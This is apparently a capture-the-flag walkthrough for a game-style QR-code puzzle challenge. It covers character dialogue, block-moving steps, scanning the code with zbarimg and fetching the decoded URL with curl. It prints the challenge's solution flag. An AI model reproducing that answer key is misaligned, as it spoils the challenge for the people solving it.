Jared: Crypt-o-coin?
Elf: *GASP* The long lost treasure of the undead toe?
Elf: I can't believe it!
Elf: I'd love to quest for the treasure but there ain't no way I'll ever find this Tom Lis..
Jared: I'm sending you Tom's first, middle, and last name. His home address. His cell number. And the last four of social.
*ELF'S CELL PHONE CHIMES*
Elf: Excellent! Never fear Very Senior Technical Engineer Jared Folkins.
Elf: I will find this treasure and LIston and I will receive ...
Jared: *GROANS* Oooh no...
Elf: Muuuch!
T-Wiz: I absolutely know what Elf's about to say!
Elf: Gloooooory!
After the speech, we exit the cave:
Exiting the cave:
We navigate using our arrow or WASD keys to the south by heading left around a black block:
Kody the Dog - QR Code⚓︎
Once, we proceed through the entrance, we can find ourselves in a new area with Kody the dog:
*Woof* Hi, I'm Kody! Can you plz fix this QR Code? The developers cheaped out and now a few sing-song blocks are not in the correct position. If you sing to the blocks that are misplaced, they will sing back! Try singing to the block to the south of my position. Hopefully you can fix the misaligned QR blocks.
Block 1⚓︎
Moving down and clicking "B" (with the K key) on a block, we can see it flashes to move:
We need to "bump" into the black box and put it on the dashed box a certain way...
Block 2⚓︎
Within the bottom-right corner
Block 3⚓︎
Within the bottom-right corner
Block 4 & 5⚓︎
Within the bottom-right corner (on the other side):
Within the bottom-right corner (on the other side):
Moving both blocks down 1 ...
Moving block 4 into place:
Place block 5 into place:
Block 6⚓︎
Within the bottom-right corner (on the other side):
Place block 6 into place:
Block 7⚓︎
Towards the top of the QR code left of Kody the Dog:
This block has to be moved to the right-side of the QR code:
After block 7 was placed:
Scanning the QR code using zbarimg
:
We can see the link is http://8bitelf.com with the flag
flag:santaconfusedgivingplanetsqrcode
$ curl -L http://8bitelf.com
<html>
<body>
<p>flag:santaconfusedgivingplanetsqrcode</p>
</body>
</html>
We enter in the answer into our badge for the objective:
Answer: santaconfusedgivingplanetsqrcode
Achievement
Congratulations! You have completed the Game Cartridges: Vol 1 challenge!